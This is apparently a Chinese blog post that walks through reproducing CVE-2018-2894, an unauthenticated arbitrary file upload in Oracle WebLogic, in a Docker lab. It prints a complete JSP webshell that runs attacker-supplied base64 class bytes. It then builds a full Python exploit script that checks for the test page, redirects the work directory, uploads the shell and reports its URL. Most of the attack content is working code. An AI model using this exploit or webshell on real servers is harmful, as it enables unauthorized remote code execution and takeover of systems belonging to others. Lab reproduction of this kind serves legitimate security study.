CVE-2018-2894WebLogic未授权任意文件上传

CVE-2018-2894WebLogic未授权任意文件上传

这个洞的限制就比较多了

限制版本

Oracle WebLogic Server版本
10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3

限制配置

该漏洞的影响模块为web服务测试页,在默认情况下不启用
/ws_utc/config.do
/ws_utc/begin.do

默认情况下不启用的意思就是,这个洞看脸,管理员开没开这个模式,不过现在基本上就没有了应该

但是还是尝试复现一下,所以手动开启

登录控制台-》base_domain-》高级-》勾选启用Web服务测试页 -》保存

登陆就直接ip:7001/console就跳转到登陆页面了

登陆的账号密码

docker-compose logs | grep password

image-20230413162356031

  1. 直接在kali上拉取镜像

    weblogic:172.20.0.2:7001

  2. 登陆开启Web服务测试页

    image-20230413162741535

    别忘了保存

  3. 接下来模拟攻击,换个没登陆的浏览器访问

    /ws_utc/config.do

    设置Work Home Dir为

    /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

    image-20230413162956960

  4. 准备jsp webshell

    连接密码passwd

    原帖地址:https://blog.csdn.net/qq_43615820/article/details/116357744

    <%!
        class U extends ClassLoader {
            U(ClassLoader c) {
                super(c);
            }
            public Class g(byte[] b) {
                return super.defineClass(b, 0, b.length);
            }
        }
     
        public byte[] base64Decode(String str) throws Exception {
            try {
                Class clazz = Class.forName("sun.misc.BASE64Decoder");
                return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
            } catch (Exception e) {
                Class clazz = Class.forName("java.util.Base64");
                Object decoder = clazz.getMethod("getDecoder").invoke(null);
                return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
            }
        }
    %>
    <%
        String cls = request.getParameter("passwd");
        if (cls != null) {
            new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
        }
    %>
    
  5. 上传,注意先开burp再上传,回包中查看时间戳,文件在http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

    image-20230413163836638

    image-20230413164524265

  6. 访问一句话木马看看传没传上去

    http://192.168.27.137:7001/ws_utc/css/config/keystore/1681375502098_passwd.jsp

    image-20230413164709603

  7. 蚁剑连接

    image-20230413164754026

    成功getshell

接下来尝试写个py脚本

挑战自己!

经过前面的复现,我认为利用漏洞其实主要在未授权的一个页面

http://192.168.27.137:7001/ws_utc/config.do

后来查了一下如何检测是否开启测试页面

http://192.168.27.137:7001/ws_utc/resources/setting/options/general 如果成功访问到该页面证明开启了

image-20230413170154503

开写!

import re
import requests
def text(host):
    payload1="http://"+host+"/ws_utc/resources/setting/options/general" #拼接地址
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'
    }#搞个ua省的被防爬虫干掉

    try:
        req=requests.get(payload1,headers=header)
        if req.status_code == 404 : #状态码检测 404 说明不存在该漏洞
            exit("{} 不存在CVE-2018-2894".format(host))
        elif "</defaultValue>" in req.text:
            print("存在该漏洞")
            return 1
    except:
        exit("error host")

来解释一下这个函数,非常简单,直接发一个请求给/ws_utc/resources/setting/options/general,如果回包的状态码是404则漏洞不存在,如果存在关键词则说明漏洞可能存在

第二步,修改路径,先手动修改一下抓个包,看看传到那了,传什么了

image-20230413191154693

发现上传路径与参数,直接开些

def change_path(host):
    data={
        "setting_id":"general", 		     "BasicConfigOptions.workDir":"/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css",
        "BasicConfigOptions.proxyHost":"",
        "BasicConfigOptions.proxyPort":"80"
    }
    payload = "http://" + host + "/ws_utc/resources/setting/options"  # 拼接地址
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'
    }  # 搞个ua省的被防爬虫干掉
    print(payload)
    try:
        req = requests.post(payload,headers=header,data=data)
        if req.status_code == 200:  #
            return "修改成功"
        else:
            exit("错误")
    except:
        exit("error host")

定义data 把抓到的包中的参数写进来,注意workDir,要写

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

定义payload,把目标地址拿下来

直接发包,状态码如果为200,则修改成功

第三步!上传文件!

还是老套路,先手动传一个,看看目标地址和参数

image-20230413192057804

看到如上的参数,再看看目标地址

image-20230413192139912

看到这个地址我一惊,这有个时间戳,那还得动态获取这个地址,但是!我放到重发器里试了一下,发现这玩意没啥用,那就直接搞代码吧!

def upload_jsp(host):
    payload = "http://" + host + "/ws_utc/resources/setting/keystore"  # 拼接地址
    file={
        "ks_name":"a",
        "ks_edit_mode":"false",
        "ks_password_front":"1",
        "ks_password":"1",
        "ks_password_changed":"true",
        "ks_filename":"passwd.jsp",
        'file': open('./need/passwd.jsp', 'rb')
    }
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'
    }
    request = requests.post(payload, files=file)
    response = request.text
    match = re.findall("<id>(.*?)</id>", response)
    if match:
        tid = match[-1]
    shell_path = "http://"+host + "/ws_utc/css/config/keystore/" +str(tid) + "_passwd.jsp"
    if requests.get(shell_path,headers=header).status_code==200:
        print("{} 存在 CVE-2018-2894".format(host))
        print("webshell path:{}".format(shell_path))
    else:
        print("[-] {} don't exists CVE-2018-2894".format(host))

这里面值得说的:
file中最后一个参数要导入木马文件哦

前面说到上传文件的命名是时间戳_文件名,使用正则匹配获取这个id,但是观察数据包发现回包中有所有文件的id,所以取最后一个(新上传的),match[-1]

然后发包,发包后访问一下shell页面,如果状态码为200,则可能上传成功,发出提示,如果没有则说明上传失败

最后!写个主函数

if __name__=='__main__':

    host="" #例子 192.168.0.17:7001
    if text(host)==1:
        change_path(host)
        upload_jsp(host)
    else:
        exit()

这个就没啥好说的了,用VPS开了一个靶场,跑一下试试

image-20230413193153442

image-20230413193416776

成功咯!

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

白帽Chen_D

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值